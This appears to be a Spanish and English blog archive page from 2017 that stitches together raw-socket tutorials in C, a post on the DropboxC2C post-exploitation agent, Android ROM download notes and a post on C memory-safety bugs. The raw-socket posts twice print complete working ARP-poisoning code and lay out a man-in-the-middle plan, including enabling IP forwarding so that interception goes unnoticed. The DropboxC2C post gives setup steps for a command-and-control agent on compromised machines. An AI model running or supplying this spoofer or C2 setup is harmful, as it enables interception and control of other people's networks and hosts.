Thursday, September 28, 2017
En crudo y sin censura RAW SOCKETS I en C
En crudo y sin censura RAW SOCKETS I en C

A lo largo de esta serie de entradas intentar� mostrar para qu� podemos utilizar la programaci�n de sockets (sobre todo los RAW) siempre mirando desde un prisma....digamos que oscuro....
Soy consciente que no es un tema f�cil de tratar, y mucho menos hacer que la lectura sea liviana a la par que amena...
Para seguir estos posts es necesario tener unos conocimientos m�nimos de redes, un poquito de C, as� como disponer de una m�quina linux, puesto que este tost�n est� orientado a sistemas Linux o Unix, como ya es com�n en mis entradas.
No pretendo desanimar a nadie, ya sea por lo de los conocimientos o por tener otro S.O... en ambos casos es facil (mas o menos) seguir las entradas. Es m�s, os animo a ello.
Tambi�n quiero dejar claro que que vamos a abordar el tema desde un punto de vista pr�ctico sin entrar mucho en detalles t�cnicos, si no podr�a ser una entrada eterna y tampoco pretendo explicar el modelo OSI (de lectura muy recomendada), a muchos os aburrir�a, as� que lo veremos de soslayo.
�Por qu� C? la respuesta es sencilla: si aprendes en C te ser� sencillo hacerlo en java, python o C++... Prueba al rev�s X-O. (respuesta de un profesor).
Es verdad que en python ser�a m�s sencillo (utilizando alguno de sus frameworks), imposible en muchos casos con java y m�s o menos parecido en c++; pero desde el punto de vista pedag�gico te pierdes muchos fundamentos valiosos.
Desde mi punto de vista ahora que estoy empezando con C, es simple, elegante y endiabladamente r�pido, compacto y eficiente..y muy Oldschool, sin menospreciar en absoluto a Python (pero hoy toca C).
�Qu� es un Socket? pues como dice la palabra es un enchufe!!...
Socket designa un concepto abstracto por el cual dos programas (posiblemente situados en computadoras distintas) pueden intercambiar cualquier flujo de datos, generalmente de manera fiable y ordenada.
El t�rmino socket es tambi�n usado como el nombre de una interfaz de programaci�n de aplicaciones (API) para la familia de protocolos de Internet TCP/IP, provista usualmente por el sistema operativo.
Segun esta interfaz tenemos tres grupos de sockets:
Socket de flujo (SOCK_STREAM): Define un servicio orientado a conexi�n confiable y bidireccional. Los datos se env�an sin errores o duplicaci�n y se reciben en el mismo orden de como fueron enviados. Podr�amos compararlo con una llamada de tel�fono.. recibir y mandar la informaci�n en su tiempo y de manera bidireccional es cr�tico para la comprensi�n del mensaje, de esto se encarga TCP...Ej dns, tftp, bootp, etc.
Socket de datagrama (SOCK_DGRAM): Define un servicio no orientado a conexi�n (sobre UDP por ejemplo). Los datagramas se env�an como paquetes independientes. El servicio no proporciona garant�as; los datos se pueden perder o duplicar y los datagramas pueden llegar fuera de orden. Soporta la bidirecionalidad pero no es su fuerte. Simplificando (demasiado) es similar a enviar una carta.
Socket raw (SOCK_RAW): Estos sockets nos permiten el acceso a los protocolos de comunicaciones,con la posibilidad de hacer uso o no de protocolos de capa 3 (nivel de red) y/o 4 (nivel de transporte), y por lo tanto d�ndonos el acceso a los protocolos directamente y a la informaci�n que recibe en ellos. El uso de sockets de este tipo nos va a permitir la implementaci�n de nuevos protocolos, y por que no decirlo, la modificaci�n de los ya existentes. Suena interesante no?.
Con esta verborrea trato de ubicar un poco al lector, pues despu�s de lo dicho nos vamos a centrar en el este �ltimo Socket raw o en crudo este tipo de socket trabaja sin estar ligado a un protocolo de comunicaci�n en concreto, es decir, podemos darle el sabor que necesitemos. Lo veremos m�s a delante.
Peculiaridades de Socket raw (SOCK_RAW)
- No incluye por defecto TCP; esto se traduce en perdida de fiabilidad.
- No tenemos que especificar puerto en la comunicaci�n.....O_o..... ya que es el propio kernel que recibe el paquete crudo el encargado de pasar la informaci�n de a todos los sockets que est�n escuchando el mismo protocolo, no hay conexiones de red virtuales como tal, es decir, no hay puertos.
- Los campos del Header los deberemos rellenar manualmente, al contrario que si trabaj�semos con otro tipo de socket; el kernel no rellena las cabeceras.
- Carece de un est�ndar.
- Para usar sockets de tipo raw en Unix es necesario contar con privilegios de root.
- hay dos tipos b�sicos de socket raw, y que la decisi�n de cu�l utilizar depende totalmente del objetivo y requisitos de la aplicaci�n que se desea:
. Familia AF_PACKET: los sockets raw de la familia AF_PACKET son los de m�s bajo nivel y permiten leer y escribir cabeceras de protocolos de cualquier capa.
. Familia AF_INET: los sockets raw AF_INET delegan al sistema operativo la construcci�n de las cabeceras de enlace y permiten una manipulaci�n �compartida� de las cabeceras de red.
En breve veremos en detalle la utilidad y funcionamiento de ambas familias.
- Y alguna m�s que seguro que escapa a mi intelecto (por culpa de alg�n gen recesivo).
�Qu� podemos hacer con raw socket?
Con los sockets SOCK_DGRAM y SOCK_DGRAM s�lo puedes decidir el contenido del PAYLOAD TCP o UDP pero no puedes leer ni escribir nada de lo que hay debajo: cabeceras IP, ICMP, ARP, Ethernet, etc.
Esto nos permitir� desde diagnoxticar ciertos aspectos de la red que de otro modo ser�a dif�cil, componer Datagramas a muy bajo nivel, y construir nuestras propias herramientas a medida de nuestros caprichos.
En definitiva nos va a hacer conocer mejor los protocolos y su seguridad.
Bueno ya para finalizar esta entrada (si no menuda chappa).. y para abrir boca os voy a dejar un codigo fuente de Victor Ramos Mello (que encontre en su Git, el cual me pareci� bueno como ejemplo) en el que hace uso de raw socket para manejar el protocolo ARP.
No atorarse!! ya lo examinaremos paso por paso, y desarrollaremos m�s para conseguir una herramienta MITM en pr�ximas entradas para ir ejercitando la mente.
Simple arp poison:
//arp-poison by m0nad
//tested in Linux 3.5.0
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <sys/socket.h>
#include <netpacket/packet.h>
#include <net/ethernet.h>
#include <netinet/if_ether.h>
#include <signal.h>
#define IP4LEN 4
#define PKTLEN sizeof(struct ether_header) + sizeof(struct ether_arp)
int sock;
void
usage()
{
puts("usage: ./arp-poison <interface> <gateway ip> <mac addr>");
puts("ex: ./arp-poison eth0 10.1.1.1 aa:bb:cc:dd:ee:ff");
exit(1);
}
void
cleanup()
{
close(sock);
exit(0);
}
int
main(int argc, char ** argv)
{
char packet[PKTLEN];
struct ether_header * eth = (struct ether_header *) packet;
struct ether_arp * arp = (struct ether_arp *) (packet + sizeof(struct ether_header));
struct sockaddr_ll device;
if (argc < 4) {
usage();
}
sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ARP));
if (sock < 0)
perror("socket"), exit(1);
signal(SIGINT, cleanup);
sscanf(argv[3], "%x:%x:%x:%x:%x:%x", (unsigned int *) &arp->arp_sha[0],
(unsigned int *) &arp->arp_sha[1],
(unsigned int *) &arp->arp_sha[2],
(unsigned int *) &arp->arp_sha[3],
(unsigned int *) &arp->arp_sha[4],
(unsigned int *) &arp->arp_sha[5]);
sscanf(argv[2], "%d.%d.%d.%d", (int *) &arp->arp_spa[0],
(int *) &arp->arp_spa[1],
(int *) &arp->arp_spa[2],
(int *) &arp->arp_spa[3]);
memset(eth->ether_dhost, 0xff, ETH_ALEN);//bcast
memcpy(eth->ether_shost, arp->arp_sha, ETH_ALEN);
eth->ether_type = htons(ETH_P_ARP);
arp->ea_hdr.ar_hrd = htons(ARPHRD_ETHER);
arp->ea_hdr.ar_pro = htons(ETH_P_IP);
arp->ea_hdr.ar_hln = ETH_ALEN;
arp->ea_hdr.ar_pln = IP4LEN;
arp->ea_hdr.ar_op = htons(ARPOP_REPLY);
memset(arp->arp_tha, 0xff, ETH_ALEN);
memset(arp->arp_tpa, 0x00, IP4LEN);
memset(&device, 0, sizeof(device));
device.sll_ifindex = if_nametoindex(argv[1]);
device.sll_family = AF_PACKET;
memcpy(device.sll_addr, arp->arp_sha, ETH_ALEN);
device.sll_halen = htons(ETH_ALEN);
puts("press ctrl+c to exit.");
while (1) {
printf("%s: %s is at %s ", argv[1], argv[2], argv[3]);
sendto(sock, packet, PKTLEN, 0, (struct sockaddr *) &device, sizeof(device));
sleep(2);
}
return 0;
}
para compilarlo:
#gcc arp-poison.c -o arp-poison
un saludo! hasta m�s ver...
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Saturday, September 23, 2017
DropboxC2C un agente de post explotación que usa Dropbox para C C
DropboxC2C un agente de post explotación que usa Dropbox para C C
Tiene una parte "servidor" que gestiona todos los agentes (Main.py) y, evidentemente, una parte cliente que hace lo que el servidor dice. ha eliminado las funciones de keylogging para que no se haga un mal uso de la herramienta.
Requiere Python 2.7 y las librer�as dropbox, psutil y pyinstaller. La instalaci�n es muy sencilla:
- git clone https://github.com/0x09AL/DropboxC2C.git
- modificar la clave de la API en agent.py y main.py (la clave api se debe crear desde la interfaz web de Dropbox)
- ejecutar setup.bat en una m�quina Windows para obtener agent.exe que es el agente "compilado"
- ejecutar main.py y el agente en el servidor comprometido




Proyecto: https://github.com/0x09AL/DropboxC2C
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Tuesday, September 19, 2017
Final Stable Android 5 0 2 For Cancro Mi 3W C Mi 4W C Mi 4 LTE 2015 03 9 By Ivan
Final Stable Android 5 0 2 For Cancro Mi 3W C Mi 4W C Mi 4 LTE 2015 03 9 By Ivan
Pic
[2015-03-09]
1.Bring back Equalizer Thanks CM team
2.Add Eleven?Thanks CM team
3.tweak audio
4.Update FM Radio
5.Remove VoiceDialer and QuickSearchBox ,too old
6.Update Browser
7.Add SuperSU
8.Update some blobs from LA.BF.1.1.1-01810-8x74.0 and LA.BF.1.1.1-02210-8x74.0
9.Fix video playback on some video client ? like iqiyi
10.Add HSPA+ icons
11. Add init.d support
12.Update Launcher
Device Tree:
branch ?lollipop
https://github.com/mi3-dev/android_device_xiaomi_cancro
https://github.com/mi3-dev/android_device_xiaomi_msm8974-common
Vendor Tree:
branch?lollipop
https://github.com/mi3-dev/proprietary_vendor_xiaomi
With Gapps Link:
Without Gapps Link:
mirror: http://pan.baidu.com/s/1qWBMnog password: ddl9
dev-host: http://d-h.st/fAjZ
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Monday, September 18, 2017
Stock Android 5 0 2 For Cancro Mi 3W C Mi 4W C Mi 4 LTE 2015 02 10 By Ivan
Stock Android 5 0 2 For Cancro Mi 3W C Mi 4W C Mi 4 LTE 2015 02 10 By Ivan
2. Add T9 search ?Thanks CM?
3. SystemUI: add quick settings pull down with one finger ?Thanks CM?
4. Update fileexplorer icon
5. Fixed button wake device when screen off
6. Fixed cant deep sleep
7. Fixed otg
8. Fixed usage statistics crash from *#*#4636#*#*
9. Add power mode settings?Settings-Developer options
10. Update Browser ?Thanks CM?
11. Update Gallery2?Thanks CM?
12. Fixed Nfc
13. Fixed random reboots
14. Fixed Cant wakeup when lock device
15. Fixed takes a few seconds to show the lock screen after the completion of boot animation
16. Update geocoder for China
17. Add display location for call
Bugs
1.FileEplorer Crash when enable Multiuser
2.Battery usage data display error on some devices with sim card
3.Touchscreen is working with the proximity sensor while calling.
Pic
Download
No-Gapps???:http://pan.baidu.com/s/1bnB6aGv
Password: qkcd
OR
http://d-h.st/MFBT
With-Gapps?Url : http://pan.baidu.com/s/1eQgXJrG
Password : c9zz
Google Drive Link
https://drive.google.com/file/d/0BznPP1O79hHEZzBqVlM3QTh3MUk/view?usp=sharing
or
https://drive.google.com/file/d/0B7xCMF07xji9S1E4WTAwMzdCamM/view?usp=sharing
or
http://d-h.st/5ZxJ
Thank to the uploaders of XDA including me.
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Saturday, September 16, 2017
Download Android O for Nexus C ryu Dev Preview
Download Android O for Nexus C ryu Dev Preview

Downloads
How to install Android O Dev Preview on Pixel C:
- Download the Android O image for Pixel C below, then unzip it to a safe directory.
- Connect your device to your computer over USB.
- Start the device in fastboot mode with one of the following methods:
- Using the adb tool: With the device powered on, execute:adb reboot bootloader
- Using a key combo: Turn the device off, then turn it on and immediately hold down the relevant key combination for your device. For example, to put a Nexus 5 ("hammerhead") into fastboot mode, press and hold Volume Up + Volume Down + Power as the device begins booting up.
- If necessary, unlock the devices bootloader using one of the following methods:
- If you are updating a Pixel C or Pixel C device using the hammerhead or angler builds, update your fastboot tool to the latest available version (>=23.0.1), and then run this command:fastboot flashing unlock
- If you are updating an older device, run this command:fastboot oem unlock
The target device will show you a confirmation screen. (This erases all data on the target device.) - Open a terminal and navigate to the unzipped Android O image for Pixel C.
- Execute the
flash-allscript. This script installs the necessary bootloader, baseband firmware(s), and operating system.
How to Lock bootloader
- Start the device in fastboot mode again, as described above.
- Execute:
fastboot flashing lockor, for older devices, runfastboot oem lock
fastboot oem unlock again, which will wipe the data.download file now
Friday, September 15, 2017
Download Mod Texture Shogun Cernataur Shogun C HD Ver MHFU For Emulator PPSSPP
Download Mod Texture Shogun Cernataur Shogun C HD Ver MHFU For Emulator PPSSPP

Samsung Glaxy G530H Official Firmware
Download Firmware Now
How to Flash !
Important Note:
Download Odin
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Monday, September 11, 2017
Vulnerabilities in C C code
Vulnerabilities in C C code
In this post I will write about C/C++ code vulnerabilities because avoiding insecure coding practices in the initial stages can minimize the time and effort spent on finding and fixing them in later stages. More specifically, I will talk about implementation errors relating to memory-safety because they are still very common vulnerabilities used by attackers to gain control over the execution-flow of an application. These vulnerabilities are included in the list of most dangerous software errors. By carefully crafting an exploit for these vulnerabilities, attackers can make an application transfer execution-flow to code that they have injected. Such code injection attacks are among the most powerful and common attacks against software applications, i.e. code injection attacks allow an attacker to execute foreign code with the privileges of the vulnerable program. To exploit a vulnerability and execute a code injection attack, an attacker must: find a bug that can allow an attacker to overwrite interesting memory locations, find such an interesting memory location (stored code addresses, function pointers, data pointers), copy target code in binary form into the memory of a program (can be done easily, by giving it as input to the program) and use the vulnerability to modify the location so that the program will execute the injected code. Security vulnerabilities in C/C++ programming languages that will be described in this post and that can directly or indirectly cause code injection attacks are:
- Buffer overflow
- Format string vulnerability
- Integer errors

Problem in this example is strcpy function. Strcpy has no way of knowing how large the destination buffer is (i.e. there is no length parameter) so using it can lead to overrunning the buffer and corrupting other memory.
- Stack-based buffer overflow
- Heap-based buffer overflow
void foo(char *val)
{
printf(val);
}
int main(int argc, char **argv)
{
char buf[100] = "Hi %x %x ";
foo(buf);
return 0;
}
Problem with code is that printf in foo will print content of stack. This can happen because printf accept variable number of arguments and does not check for mismatch of number of format specifiers and arguments passed after format string.
int main(int argc, char **argv)
{
int val = 0x7fffffff; /*2147483647*/
print("%d ", val);
val = val + 1;
print("%d , val");
}
Variable val is initialized with the highest positive value a signed long integer can hold (2147483647). Adding 1 to the hex value of 0x7fffffff the value of the integer overflows and goes to a negative number (0x7fffffff + 1 = 80000000), in decimal this is -2147483648. Problem is that compilers will not detect this and the application will not notice this issue.
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Sunday, September 10, 2017
Download ZTE Open C Stock Rom Firmware
Download ZTE Open C Stock Rom Firmware

Backup Your Device with ZTE PC Suite
Download and extract The Latest Smart Phone Flash Tool
Locate and Download your Specific ZTE Device Model Stock Rom
Open SP Flash Tool, Load Your Firmware then connect your ZTE Device to your PC using USB Cable
Initialize Flashing and wait for the process to be successful
Congratulations !!!
View ZTE Open C Full Specification & Firmware Download
ZTE Open C | SPECIFICATION | |
BODY | ||
Other Name | Open C | |
Color | Black, Orange, Blue | |
Dimension | 126 x 64.7 x 10.8 mm (125g) | |
Keyboard | Touch Screen | |
Cover | Plastic | |
DISPLAY | ||
Type | TFT Capacitive Touch Screen Display with 16,000,000 Colors | |
Size | 4.0 Inches, 480 x 800 Pixels (233 ppi) | |
AUDIO | ||
Audio Port | 3.5 mm Jack | |
Speakers | Yes | |
Alert Type | Vibration, MP3, WAV Ringtone | |
CAMERA | ||
Primary | 3.15 MP, AutoFocus, Geo Tagging | |
Secondary | No | |
CONNECTIVITY, NETWORK | ||
Network | GSM | HSPA | | |
2G | GPRS, EDGE | |
3G | No | |
4G | No | |
Wi-Fi | WiFi 802.11 b/g/n , Hot-spot | |
Bluetooth | Yes | |
GPS | A-GPS | |
FM Radio | Yes | |
USB | MicroUSB 2.0 | |
MEMORY, SIM | ||
Card Slot | MicroSD Card , Up to 32GB Extension Support | |
Internal | 4GB | |
RAM | 512 MB | |
SIM | Micro SIM | |
OS ,PROCESSOR & SENSORS | ||
Processor | 1.2 GHz Dual Core Cortex A7 CPU, Qualcomm MSM8210 Snapdragon 200 Chipset | |
Graphic Processor | Adreno 302 | |
Operating System | Firefox OS 1.3 | |
Sensors | Proximity , Ambient Light, Accelerometer, Sensors | |
BATTERY | ||
Capacity | 1400 mAh Li-Ion Battery ( Removable ) | |
Stand-By | Up to 150 hrs | |
Price | Download ZTE Open C Flash File Below | |
- Ensure the Phone you are about to Flash has at least 40% Battery Charge.
- Make a Backup of all your personal Data, before Flashing your Device, as this could help you fall back on its Prior Flashing State, if anything goes wrong.
- Always Flash with the right Stock Rom (Firmware, OS, Flash File) as Flashing a Phone with the wrong File Could be Fatal.
- Flashing your ZTE Device may void Tab or Mobile Phone Warranty.
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Thursday, September 7, 2017
En crudo y sin censura RAW SOCKETS II en C
En crudo y sin censura RAW SOCKETS II en C

Bueno como promet� en la entrada anterior vamos a ver el ejemplo que os dej�, vamos a ver las partes importantes de Sockets Raw, y a�adiremos o modificaremos el c�digo para conseguir un ejemplo m�s vers�til...
Al lector: si incurro en cualquier error a lo largo de estos post agradecer�a vuestras correcciones.
Como primer ejercicio quiero que le ech�is un vistazo m�s a fondo al c�digo que est� debajo de este p�rrafo, y le�is los comentarios donde a grandes rasgos explico el funcionamiento del ejemplo que os dej� la semana pasada, si no entend�is nada (nadie dijo que programar para sockets fuera a ser f�cil), no agobiarse, basta con echarle un ojo para que cuando explique la teor�a os suene por donde cae en el c�digo:
#include <stdio.h>//libreria estandar
#include <stdlib.h>//libreria estandar
#include <unistd.h>// close(sock)
#include <string.h>//biblioteca standar
#include <netinet/if_ether.h> //estructuras ethernet arp headers
#include <net/if.h>// sockets interfaces locales
#include <sys/socket.h> // encabezado de sockets principales
#include <arpa/inet.h>//definiciones de las operaciones de Internet
#include <netpacket/packet.h>// struct sockaddr_ll
#include <net/ethernet.h>//id protos ethernet
#include <signal.h> //signal(SIGINT, cleanup);
#define IP4LEN 4 //define la
#define PKTLEN sizeof(struct ether_header) + sizeof(struct ether_arp)
int sock;
void usage() { //funcion para mostrar el help del programa por pantalla
puts("usage: ./arp-poison <interface> <gateway ip> <mac addr>");
puts("ex: ./arp-poison eth0 10.1.1.1 aa:bb:cc:dd:ee:ff");
exit(1);
}
void cleanup() { //utilizaremos esta funcion para cerrar el socket
close(sock); //mediante la funcion close() de <unistd.h>
exit(0); //la funcion no retornara valor alguno
}
main(int argc, char ** argv) {
char packet[PKTLEN]; //definimos la longitud del paquete a la suma del la cabecera ETHERNET+ARP
struct ether_header * eth = (struct ether_header *) packet; //declaramos la variable eth y la apuntamos
//a struct ether_headder del paquete (<netinet/if_ether.h>)
struct ether_arp * arp = (struct ether_arp *) (packet + sizeof (struct ether_header)); //igual que el anteriot pero
//ether_arp para poder meter
//mas tarde valores.
struct sockaddr_ll device; //<netpacket/packet.h> hacemos que int sll_ifindex;apunte a nuestra variable device
if (argc < 4) {//si los argumento pasados para lanzar el programa
usage();
}//son inferiores a 4 lanzamos la funcion usage()mostrando asi la ayuda
sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ARP)); //declaramos el socket con su familia,
//tipo raw,protocolo. htons()convierte el entero corto sin signo hostshort desde el orden de bytes del host al de la red.
if (sock < 0) //si no se crea el shocket llamamos a exit()
perror("socket"), exit(1);
signal(SIGINT, cleanup);
//RELLENAMOS LAS ESTRUCTURAS
//recogemos la mac del argumento 3 (hexadecimal)
//y se l pasamos a la structura ARP concretamente arp_sha[ETH_ALEN];/* sender hardware address */
// de la libreria <netinet/if_ether.h> sin signo
sscanf(argv[3], "%x:%x:%x:%x:%x:%x", (unsigned int *) &arp->arp_sha[0],
(unsigned int *) &arp->arp_sha[1],
(unsigned int *) &arp->arp_sha[2],
(unsigned int *) &arp->arp_sha[3],
(unsigned int *) &arp->arp_sha[4],
(unsigned int *) &arp->arp_sha[5]);
//recogemos la ip pasada en el argumento 2 (decimal) a arp_spa <netinet/if_ether.h> entero
sscanf(argv[2], "%d.%d.%d.%d",(int *) &arp->arp_spa[0],
(int *) &arp->arp_spa[1],
(int *) &arp->arp_spa[2],
(int *) &arp->arp_spa[3]);
///////
memset(eth->ether_dhost, 0xff, ETH_ALEN);//bcast destination eth address */>/a la structura ethernet
memcpy(eth->ether_shost, arp->arp_sha, ETH_ALEN);//* "source ether addr" a structura etherne y a" hardware address" struc_arp
eth->ether_type = htons(ETH_P_ARP);
//pasamos el al heather ethernet el valor ETH_P_ARR
//de if_ether.h " ETH_P_ARP 0x080 Address Resolution packet */"
arp->ea_hdr.ar_hrd = htons(ARPHRD_ETHER);
arp->ea_hdr.ar_pro = htons(ETH_P_IP);
arp->ea_hdr.ar_hln = ETH_ALEN;
arp->ea_hdr.ar_pln = IP4LEN;
arp->ea_hdr.ar_op = htons(ARPOP_REPLY);
memset(arp->arp_tha, 0xff, ETH_ALEN);
memset(arp->arp_tpa, 0x00, IP4LEN);
memset(&device, 0, sizeof(device));
device.sll_ifindex = if_nametoindex(argv[1]);
device.sll_family = AF_PACKET;
memcpy(device.sll_addr, arp->arp_sha, ETH_ALEN);
device.sll_halen = htons(ETH_ALEN);
puts("press ctrl+c to exit.");
while (1) {
printf("%s: %s is at %s ", argv[1], argv[2], argv[3]);
sendto(sock, packet, PKTLEN, 0, (struct sockaddr *) &device, sizeof(device));//mandamos los paquetes
sleep(2);
}
return 0;
}Se que promet� no ponerme en rollo t�cnico, pero para empezar con sockets al menos nos deben sonar un par de conceptos cr�ticos... intentar� ser lo mas simple y conciso que pueda...
Encapsulaci�n de datos:
"En redes de ordenadores, encapsulaci�n es un m�todo de dise�o modular de protocolos de comunicaci�n en el cual las funciones l�gicas de una red son abstra�das ocultando informaci�n a las capas de nivel superior".


Un buen s�mil de esto es mandar una carta a un amigo que vive en otro continente; escribes la carta, luego va a el cartero, despu�s al cami�n, que la lleva al avi�n...
Cuando llegue tu carta para que la coja tu amigo debe salir del avi�n, ir a otro cami�n y cogerla otro cartero que se la entregar� a tu amigo.
En el proceso de viaje del paquete por las distintas capas del modelo TCP, los encargados de transportarlas son los protocolos y estos necesitan de unas cabeceras donde se le indique que transportan y donde lo transportan (entre otros datos).
En el caso de SOCK_DGRAM y SOCK_STREAM este trabajo lo lleva a cabo el Kernel, pero amigos, en el caso que nos ocupa SOCK_RAW y como vimos en la entrada anterior "Los campos del Header los deberemos rellenar manualmente, al contrario que si trabaj�semos con otro tipo de socket; el kernel no rellena las cabeceras".
Para hacer esto c�modamente utilizaremos las Estructuras.
�QU� SON LAS ESTRUCTURAS?
Resumi�ndolo un poco: "Las estructuras son colecciones de variables relacionadas bajo un nombre. Las estructuras pueden contener variables de muchos tipos diferentes de datos a diferencia de los arreglos que contienen �nicamente elementos de un mismo tipo de datos".
Para ver esto mucho mas claro vamos a recurrir a nuestro ejemplo examinando un fragmento donde rellenamos las estructura ya programada que utilizamos de las librer�as incluidas en el c�digo:
En nuestro ejemplo, vamos a mandar una trama ARP por la capa de enlace,
el encargado de esto es el protocolo ETHERNET. Para conseguir esto necesitamos la estructura de los Headers ethernet, y la estructura del paquete arp.



Le decimos el tipo de paquete que va a ser ADDRESS RESOLUTION PACKET.
que lo hemos sacado de if_ether.h convirti�ndolo con htons (la funci�n htons convierte a u_short del host en orden de bytes de red TCP / IP si fuese necesario):


A la Estructura ether_arp alojada en <if_ether.h>

Espero que no os est� liando mucho... solo ten�is que quedaros con que las estructuras son una colecci�n de datos, que podemos encontrarlas en las librer�as ya preconcebidas para crear paquetes <netinet.h> y c�mo sacar y meter datos en ellas. ya veremos esto m�s despacio.
�Menuda chapa! vamos a asimilarla con la pr�ctica.
Vamos a dejar por el momento las comederas de cabeza hasta la tercera entrada, y vamos con lo divertido.
Construyendo nuestra primer herramienta
Dije que convertir�amos el c�digo del ejemplo en algo m�s funcional y divertido, vamos hacer una herramienta que nos permita hacer un Man In The Middle.
Si estas leyendo esta entrada supongo que sabras que es un MITM y en que consiste un ataque de falsificaci�n ARP o ARP Spoofing, pero vamos a recordarlo a grandes rasgos.
El principio del ARP Spoofing es enviar mensajes ARP falsos (falsificados o spoofed) a la Ethernet. Normalmente la finalidad es asociar la direcci�n MAC del atacante con la direcci�n IP de otro nodo (el nodo atacado), como por ejemplo la puerta de enlace predeterminada (gateway).
Esta t�cnica de arp spoofing, si se hace de manera bidireccional obtenemos el resultado de un ataque man in the middle.
Es decir el atacante le dice ala red (todos los equipos) o a la v�ctima (ataque dirigido) que es el gateway . El medio del ataque es el envenenamiento de las tablas ARP de los equipos.
Vamos a establecer el escenario:
Supongamos que se da la siguiente situaci�n:

�C�mo conseguimos esto?: mediante paquetes ARP-Reply, en primer lugar a la v�ctima le decimos que somos el router mand�ndole un ARP-reply y diciendo que a nuestra mac le corresponde la ip del router.

El siguiente paso ser� mandar un paquete ARP-reply al router dici�ndole que somos la v�ctima, el protocolo ARP modificar� la tabla Arp del router como hizo con la victima. Podremos interceptar la informaci�n bi-direccionalmente, siempre de manera transparente para la victima siempre y cuando tengamos activado el IP forward en nuestro equipo (echo 1 > /proc/sys/net/ipv4/ip_forward).
Y �c�mo podemos manipular los paquetes ARP? pues chatos: con SOCK_RAW!
Pero esto ser� en la siguiente entrada..
Un saludo
Manuel
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